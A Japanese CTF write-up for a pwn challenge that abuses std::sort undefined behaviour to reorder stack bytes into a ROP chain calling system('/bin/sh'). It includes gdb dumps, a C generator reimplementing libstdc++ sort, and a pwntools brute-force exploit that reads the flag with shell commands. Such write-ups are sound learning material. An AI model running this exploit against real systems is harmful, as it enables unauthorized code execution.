Daily AlpacaHack B-SIDE 2026/4/25–2026/4/30 の write-up です。
alpacahack.com
std::sort(begin(), end(), [](){ return cin.get() == 'r'; });
std::sort(RandomIt first, RandomIt last, Compare comp) の事前条件として、Compare が strict weak ordering を成すというものがあります。
そうでない入力を与えた場合の動作は当然未定義なわけですが、CTF ではそうした未定義動作を手懐ける必要があるわけですね。
考えたこと
元々、正しくない Compare を使う人を競プロの文脈でよく見ていたのもあって、そうした std::sort の事前条件の話は知っていました。
また、最適化レベル -O0, -O1, -O2 に応じて動作が変わるような状況が存在することも記憶にありました。「何らかの列を出力し正常終了する」「SIGSEGV で異常終了する」「停止しない」などが同一のコードから生成される場合もあった気がします。
NaN を含む double[] を std::sort() しようとするとめちゃくちゃになりますが、該当の区間内に含まれる値たちからなる部分集合が strict weak ordering を成していれば問題ないということなんでしょうか。
ところで、std::sort() の内部実装を（識別子などは適法となるように適宜変えつつ）別途コピペしてきた sort() を作ったとき、該当の事前条件を満たしていなくても（配列外参照などが起きないように気をつければ）未定義動作にはならないはずです。
note: 然るべきようにソートされるとかを期待しているわけではない。単に sort() という名前の、C++ 的に未定義動作は起きない何らかの関数として振る舞うということ。
ということで、sort() について考えます (libstdc++-v3/include/bits/stl_algo.h)。
重要な点は下記の通りです。
introsort_loop() の while に関して、last - first == 0x20 かつ S_threshold == 16 であるから、少なくとも一回は unguarded_partition_pivot() が呼ばれ、last を書き換え可能である。unguarded_partition_pivot() の内部では unguarded_partition() が呼ばれ、この返り値は比較的容易に制御可能である。introsort_loop() で depth_limit == 0 になった場合は partial_sort(first, last, last) が呼ばれ、内部的に sort_heap(first, last) が呼ばれることから、first から last までの範囲を並べ替えることが可能である。
よって、last を十分 first から離れさせたまま保てば、その間の区間の要素を任意に並べ替えられることがわかります。
last - first を十分に引き離すために要素に関係なく真偽値を返すフェーズと、予め意図した順に並べられるように真偽値を返すフェーズを適宜切り替えることで、任意の順列に対応する操作が可能になります。
どのように判定したことにするかを出力することで、サーバに与える用の [lr]+ の列が得られます。
あとは、何をどう並べ替えればフラグが得られるかを考えればよいです。
std::sort() を呼ぶ直前の std::array<char, 0x20> values 付近のメモリを見ると、次のようになっていました。
% gdb -ex 'b *(main+149)' ./chall
(gdb) r
Starting program: /mnt/chall
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
aaaabaaacaaadaaaeaaafaaagaaahaaa
Breakpoint 1, 0x000055555555526e in main ()
(gdb) x/30a $rsp
0x7fffffffeb70: 0x7fffffffebb0 0x7fffffffeb90
0x7fffffffeb80: 0x7fffffffebb0 0x7fffffffebaf
0x7fffffffeb90: 0x6161616261616161 0x6161616461616163
0x7fffffffeba0: 0x6161616661616165 0x6161616861616167
0x7fffffffebb0: 0x7fffffffec50 0xb3976239af1af900
0x7fffffffebc0: 0x0 0x7fffffffecf8
0x7fffffffebd0: 0x7fffffffec70 0x7ffff7b541ca <__libc_start_call_main+122>
0x7fffffffebe0: 0x8 0x7fffffffecf8
0x7fffffffebf0: 0x1f7d2efa8 0x5555555551d9 <main>
0x7fffffffec00: 0x7fffffffecf8 0x9787d8757a880ed4
0x7fffffffec10: 0x1 0x0
0x7fffffffec20: 0x555555558d98 0x7ffff7ffd000 <_rtld_global>
0x7fffffffec30: 0x9787d87575a80ed4 0x9787c8e0216a0ed4
0x7fffffffec40: 0x7fff00000000 0x0
0x7fffffffec50: 0x0 0x1
(gdb) x/3i (main+149)
=> 0x55555555526e <main+149>: call 0x5555555552a6 <_ZSt4sortIPcZ4mainEUlccE_EvT_S2_T0_>
0x555555555273 <main+154>: mov $0x0,%esi
0x555555555278 <main+159>: lea 0x3db1(%rip),%rax # 0x555555559030 <_ZSt3cin@GLIBCXX_3.4+16>
disclaimer: write-up を書いている今は、解いたときとは別の環境で作業しているのですが、当時は 0x7fffffffebc0 の場所に 0x00007ffff7fb6a50 が入っていたはずなんです。どういう原因でこういう差が生じたのかはまだわかっていません。わかったらなにか書くかもしれません。
下位バイトの詳細は調べていませんが、上位バイトが libc のものであるアドレスが 3 つ存在していることがわかります。また、main() のアドレスも含まれています。
よって、入力できる 32 バイトの中に pop %rdi; ret のガジェットや system() や "/bin/sh" のアドレスの下位バイトを与えればよさそうです。また、スタックの alignment の調整のために ret のガジェットも欲しいので、main() の下位バイトも書き換えます。
具体的には、&array[0] == 0x7fffffffeb90 で、libc 関連のアドレスが &array[0x30] == 0x00007ffff7fb6a50、&array[0x48] == 0x7fffffffebd8、&array[0x98] == 0x7ffff7ffd000 です。
該当のアドレスを 0x0000XXXXXXYYYZZZ とすると、X の部分はスタックに載っているもののままでよく、Z の部分は（ASLR で変わることはないので）入力のままでよいです。Y の部分に関しては制御しきれないので、1⁄4096 のガチャをします。これくらいならまぁ許容範囲でしょうと 聞いています。本当でしょうか。本当ということにします。よろしくお願いします。
std::array<char, 0x20> には b"\x8b\x97\xc3/T\xcfP'\xb8\x18aaaaaaaaaaaaaaaaaaaaaa" を与え、比較のためには llrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllllllllllllllllllllllllllllllllllllllllllllllllllllllllrllllllrrllllllllllllllrrllrllrllrllrllrllrllrllrllrllrllrllrllrlrrllrlrrllrllrllrlrrlrlllllrlllllllllllllllllrlrlllllllllrrrrrrllrrrlllrrlllrrllllllllrrlllrrrlrrlrrlrllrrrllrrlrrllrrlrrllrrrllrrllrrrllrlllllrrlrrlllllrrlrlrrlrrlrlrrrlrrlrlrrrrlrrlrrlrlrrlrrrrlrrlrrrllrrlrrrllrrlrlrlrrlllrlrrrllrrlrrrllrllrrrlrlllrrrlrrrlrrrlrrllrrrlrlrlrrrllllrrrrlrrlrrrrlrllrrrrllrrlrrrrrlrlrrrrrrrlrrrrrrllrrrrrlllrrrrrlrlrrrllrlrrlllllrlllrrlllllrrllllrllllllrrrllllrrlrllllrrllllllrlllrlrrlllrlrllllrllrrlllrrlllllrrrrlllrrrllllrrrrrllllllllrllrrlllrrllrlllrllrllrllrlrllrrrlrllrllrrlrllrlllrlrrrrrrlrlrrrrlrrllllrlrrllrrlrrllrllrrllrrlrrrrlrlrrllrrlrllrrllllrlrllrllrllrlllllrlrlllrlrrllrlllrllrlrrrlllllrrlrlrrllrllrlrrllrrlrlrlllllrllrlllrrlllrlrlllrrlrrllrlllrlrrlrllllllrlllrrlllrrrllllrrlrlrllrrrrllllrrlrrrlrrlrrrlrllrrrlrrrlrrrrlrlrrrrrrlrrrrrllrrrrlllrrrrlrlrrrrrllrlrlrllllrlllllllllrlllllrrrlllrlllllrrlllrrrllrlrlllrlrlllrlrrrlrlllllrrlrrllrrlrlrllrrllrrrrllrrllrllrllrlllrlrllrllrlrrrlrlrrlllrlllrlrrrlrrlrlllrlrlrrlllrrrlllrrrlrlrrrllrlrrlllllrrlrrlrlllllllrrrlllrlllrllrllrrllrrlrlrlrrlrllrllrllrllrlrrrrlllllrrrllrrlrlrrrrlllrllllllrrllrllrrllrrrlrlrlrlllrlrlllrlrrlllrlrllllllllllllllllllllllllllllllllllllllllllllll を与えます。
実際、1000 回程度の試行でヒットし、フラグが得られました。
Alpaca{g00d_c0mpar1s0n_y0ur3_f1r3d} 💫
write-up を書くにあたってもう一度試したところ、5000 回くらいかかりました。その頃には spawner 形式になっていました。
1 b".:\nflag-05d2b49fed6a6415597cae664a8e315b.txt\nrun\n\n/:\napp\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\nAlpaca{g00d_c0mpar1s0n_y0ur3_f1r3d}\ncat: '/fl*': No such file or directory\n"
3 b"run: ../../../../../src/libstdc++-v3/src/c++17/ryu/common.h:57: int32_t {anonymous}::ryu::pow5bits(int32_t): Assertion `e >= 0' failed.\n"
2 b"terminate called after throwing an instance of '__gnu_cxx::__concurrence_unlock_error'\n what(): __gnu_cxx::__concurrence_unlock_error\n"
1 b"terminate called after throwing an instance of 'std::__ios_failure'\n what(): \x988\xd8O\xe9\x7f: iostream error\n"
1 b"terminate called after throwing an instance of 'std::__ios_failure'\n what(): \x988\xd8\t\xd5\x7f: iostream error\n"
1 b"terminate called after throwing an instance of 'std::__ios_failure'\n what(): \x988\xd8\x81\x17\x7f: iostream error\n"
1 b"terminate called after throwing an instance of 'std::bad_alloc'\n what(): std::bad_alloc\n"
1 b'Fatal glibc error: ../stdlib/strtod_l.c:1357 (____wcstod_l_internal): assertion failed: dig_no > int_no && exponent <= 0 && exponent >= MIN_10_EXP - (DIG + 2)\n'
1 b'Fatal glibc error: XXX-lookup.c:60 (__nss_netgroup_lookup2): assertion failed: *ni != NULL\n'
2 b'Fatal glibc error: nss_module.c:341 (__nss_module_get_function): assertion failed: name_entry != NULL\n'
1 b'Unexpected error 9 on netlink descriptor 373903000.\n'
1 b'\x98h\xc0I8\x7f'
1 b'\x98h\xc0\xb7C\x7f'
1 b'\x98h\xc0rM\x7f'
2 b'free(): invalid pointer\n'
4 b'Illegal status in __nss_next.\n'
3 b'free(): invalid pointer\n'
51 b'*** stack smashing detected ***: terminated\n'
4938 b''
さまざまなエラーメッセージが見られて面白いです。ちょこちょこある \x988\xd8O\xe9\x7f や \x98h\xc0I8\x7f のようなものは、libc とかのアドレスだろうなと思います。abort しているので leak できてもあまりうれしくない気はします。fork 系の問題だとうれしいかもしれません。
コード
gen.c
#include <limits.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
typedef char* RAIter;
typedef RAIter Iter;
int pp[0xa0] = {
0x48, 0x49, 0x4a, 0x50, 0x51, 0x52, 0x60, 0x61,
0x62, 0x68, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
0x30, 0x31, 0x32, 0x53, 0x54, 0x55, 0x56, 0x57,
0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
0x00, 0x01, 0x02, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,
0x03, 0x04, 0x05, 0x33, 0x34, 0x35, 0x36, 0x37,
0x09, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f,
0x06, 0x07, 0x08, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
0x98, 0x99, 0x9a, 0x63, 0x64, 0x65, 0x66, 0x67,
};
int pos[0xa0] = {};
RAIter global_first = NULL;
_Bool cheat_increment_first = false;
_Bool f(RAIter x, RAIter y) {
if (cheat_increment_first) {
return (x - global_first) < 0xa0;
}
return pos[*(unsigned char*)x] < pos[*(unsigned char*)y];
}
_Bool comp(RAIter lhs, RAIter rhs) {
_Bool yn = f(lhs, rhs);
printf("%c", yn ? 'r' : 'l');
return yn;
}
_Bool val_comp_iter(char lhs, RAIter rhs) { return comp(&lhs, rhs); }
_Bool iter_comp_val(RAIter lhs, char rhs) { return comp(lhs, &rhs); }
void iter_swap(Iter lhs, Iter rhs) {
char tmp = *lhs;
*lhs = *rhs;
*rhs = tmp;
}
void sort(RAIter first, RAIter last);
long lg(long n);
void sort_heap(RAIter first, RAIter last);
void make_heap(RAIter first, RAIter last);
void pop_heap(RAIter first, RAIter last, RAIter result);
void push_heap(RAIter first, long holeIndex, long topIndex, char value);
RAIter move_backward(RAIter first, RAIter lsat, RAIter d_last);
void introsort_loop(RAIter first, RAIter last, long depth_limit);
void partial_sort(RAIter first, RAIter middle, RAIter last);
void heap_select(RAIter first, RAIter middle, RAIter last);
RAIter unguarded_partition_pivot(RAIter first, RAIter last);
void move_median_to_first(Iter result, Iter a, Iter b, Iter c);
RAIter unguarded_partition(RAIter first, RAIter last, RAIter pivot);
void final_insertion_sort(RAIter first, RAIter last);
void unguarded_insertion_sort(RAIter first, RAIter last);
void unguarded_linear_insert(RAIter last);
void insertion_sort(RAIter first, RAIter last);
void adjust_heap(RAIter first, long holeIndex, long len, char value);
void sort(RAIter first, RAIter last) {
if (first != last) {
introsort_loop(first, last, lg(last - first) * 2);
final_insertion_sort(first, last);
}
}
long lg(long n) {
const int sz = sizeof(+n);
int w = sz * CHAR_BIT - 1;
w -= __builtin_clzl(+n);
return w;
}
void sort_heap(RAIter first, RAIter last) {
while (last - first > 1) {
--last;
pop_heap(first, last, last);
}
}
void make_heap(RAIter first, RAIter last) {
if (last - first < 2) {
return;
}
const long len = last - first;
long parent = (len - 2) / 2;
while (true) {
char value = *(first + parent);
adjust_heap(first, parent, len, value);
if (parent == 0) {
return;
}
parent--;
}
}
void pop_heap(RAIter first, RAIter last, RAIter result) {
char value = *result;
*result = *first;
adjust_heap(first, 0, last - first, value);
}
void push_heap(RAIter first, long holeIndex, long topIndex, char value) {
long parent = (holeIndex - 1) / 2;
while (holeIndex > topIndex && iter_comp_val(first + parent, value)) {
*(first + holeIndex) = *(first + parent);
holeIndex = parent;
parent = (holeIndex - 1) / 2;
}
*(first + holeIndex) = value;
}
RAIter move_backward(RAIter first, RAIter last, RAIter d_last) {
while (first != last) {
*--d_last = *--last;
}
return d_last;
}
enum { S_threshold = 16 };
void introsort_loop(RAIter first, RAIter last, long depth_limit) {
while (last - first > (int)(S_threshold)) {
if (depth_limit == 0) {
partial_sort(first, last, last);
return;
}
--depth_limit;
RAIter cut = unguarded_partition_pivot(first, last);
introsort_loop(cut, last, depth_limit);
last = cut;
}
}
void partial_sort(RAIter first, RAIter middle, RAIter last) {
heap_select(first, middle, last);
sort_heap(first, middle);
}
void heap_select(RAIter first, RAIter middle, RAIter last) {
make_heap(first, middle);
for (RAIter i = middle; i < last; ++i) {
if (comp(i, first)) {
pop_heap(first, middle, i);
}
}
}
RAIter unguarded_partition_pivot(RAIter first, RAIter last) {
RAIter mid = first + (last - first) / 2;
move_median_to_first(first, first + 1, mid, last - 1);
return unguarded_partition(first + 1, last, first);
}
void move_median_to_first(Iter result, Iter a, Iter b, Iter c) {
if (comp(a, b)) {
if (comp(b, c)) {
iter_swap(result, b);
} else if (comp(a, c)) {
iter_swap(result, c);
} else {
iter_swap(result, a);
}
} else if (comp(a, c)) {
iter_swap(result, a);
} else if (comp(b, c)) {
iter_swap(result, c);
} else {
iter_swap(result, b);
}
}
RAIter unguarded_partition(RAIter first, RAIter last, RAIter pivot) {
while (true) {
cheat_increment_first = (first == global_first + 1);
while (comp(first, pivot)) {
++first;
}
cheat_increment_first = false;
--last;
while (comp(pivot, last)) {
--last;
}
if (!(first < last)) {
return first;
}
iter_swap(first, last);
++first;
}
}
void final_insertion_sort(RAIter first, RAIter last) {
if (last - first > (int)(S_threshold)) {
insertion_sort(first, first + (int)(S_threshold));
unguarded_insertion_sort(first + (int)(S_threshold), last);
} else {
insertion_sort(first, last);
}
}
void unguarded_insertion_sort(RAIter first, RAIter last) {
for (RAIter i = first; i != last; ++i) {
unguarded_linear_insert(i);
}
}
void unguarded_linear_insert(RAIter last) {
char val = *last;
RAIter next = last;
--next;
while (val_comp_iter(val, next)) {
*last = *next;
last = next;
--next;
}
*last = val;
}
void insertion_sort(RAIter first, RAIter last) {
if (first == last)
return;
for (RAIter i = first + 1; i != last; ++i) {
if (comp(i, first)) {
char val = *i;
move_backward(first, i, i + 1);
*first = val;
} else {
unguarded_linear_insert(i);
}
}
}
void adjust_heap(RAIter first, long holeIndex, long len, char value) {
long topIndex = holeIndex;
long secondChild = holeIndex;
while (secondChild < (len - 1) / 2) {
secondChild = 2 * (secondChild + 1);
if (comp(first + secondChild, first + (secondChild - 1))) {
secondChild--;
}
*(first + holeIndex) = *(first + secondChild);
holeIndex = secondChild;
}
if ((len & 1) == 0 && secondChild == (len - 2) / 2) {
secondChild = 2 * (secondChild + 1);
*(first + holeIndex) = *(first + (secondChild - 1));
holeIndex = secondChild - 1;
}
push_heap(first, holeIndex, topIndex, value);
}
int main(void) {
enum { n = 0x100, m = 0x20 };
char a[n] = {};
for (int i = 0; i < n; ++i) {
a[i] = (char)i;
}
for (int i = 0; i < 0xa0; ++i) {
pos[pp[i]] = i;
}
global_first = &a[0];
sort(a, a + m);
puts("");
fflush(stdout);
for (int i = 0; i < 0xa0; ++i) {
volatile unsigned char x = a[i];
printf("a[0x%02X] = 0x%02X (%d)\n", i, x, x == pp[i]);
}
}
exploit.py
from time import sleep
from pwn import *
def nc(nc_comm):
nc_argv0, host, port = nc_comm.split()
return remote(host, int(port))
comp = "llrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllllllllllllllllllllllllllllllllllllllllllllllllllllllllrllllllrrllllllllllllllrrllrllrllrllrllrllrllrllrllrllrllrllrllrlrrllrlrrllrllrllrlrrlrlllllrlllllllllllllllllrlrlllllllllrrrrrrllrrrlllrrlllrrllllllllrrlllrrrlrrlrrlrllrrrllrrlrrllrrlrrllrrrllrrllrrrllrlllllrrlrrlllllrrlrlrrlrrlrlrrrlrrlrlrrrrlrrlrrlrlrrlrrrrlrrlrrrllrrlrrrllrrlrlrlrrlllrlrrrllrrlrrrllrllrrrlrlllrrrlrrrlrrrlrrllrrrlrlrlrrrllllrrrrlrrlrrrrlrllrrrrllrrlrrrrrlrlrrrrrrrlrrrrrrllrrrrrlllrrrrrlrlrrrllrlrrlllllrlllrrlllllrrllllrllllllrrrllllrrlrllllrrllllllrlllrlrrlllrlrllllrllrrlllrrlllllrrrrlllrrrllllrrrrrllllllllrllrrlllrrllrlllrllrllrllrlrllrrrlrllrllrrlrllrlllrlrrrrrrlrlrrrrlrrllllrlrrllrrlrrllrllrrllrrlrrrrlrlrrllrrlrllrrllllrlrllrllrllrlllllrlrlllrlrrllrlllrllrlrrrlllllrrlrlrrllrllrlrrllrrlrlrlllllrllrlllrrlllrlrlllrrlrrllrlllrlrrlrllllllrlllrrlllrrrllllrrlrlrllrrrrllllrrlrrrlrrlrrrlrllrrrlrrrlrrrrlrlrrrrrrlrrrrrllrrrrlllrrrrlrlrrrrrllrlrlrllllrlllllllllrlllllrrrlllrlllllrrlllrrrllrlrlllrlrlllrlrrrlrlllllrrlrrllrrlrlrllrrllrrrrllrrllrllrllrlllrlrllrllrlrrrlrlrrlllrlllrlrrrlrrlrlllrlrlrrlllrrrlllrrrlrlrrrllrlrrlllllrrlrrlrlllllllrrrlllrlllrllrllrrllrrlrlrlrrlrllrllrllrllrlrrrrlllllrrrllrrlrlrrrrlllrllllllrrllrllrrllrrrlrlrlrlllrlrlllrlrrlllrlrllllllllllllllllllllllllllllllllllllllllllllll"
a = flat(
bytes([0x8B, 0x97, 0xC3]),
bytes([0x2F, 0x54, 0xCF]),
bytes([0x50, 0x27, 0xB8]),
bytes([0x18]),
bytes([0x61] * (0x20 - 10)),
)
i = 0
while True:
print(i)
i += 1
with nc("nc 34.170.146.252 28412") as p:
p.sendline(a + comp.encode())
sleep(1)
p.sendline(b"ls . /; cat fl*; cat /fl*; exit")
try:
resp = p.recvall(1)
print(resp)
except EOFError:
continue
あとがき
std::sort() となかよくという感じで面白かったです。よくわからなかった部分は今後の宿題とします。
twitter.com
twitter.com
来週末にまたえびちゃんの問題が A-SIDE に出ると聞いているので、そちらもよろしくお願いします。
おわり
おわりです。
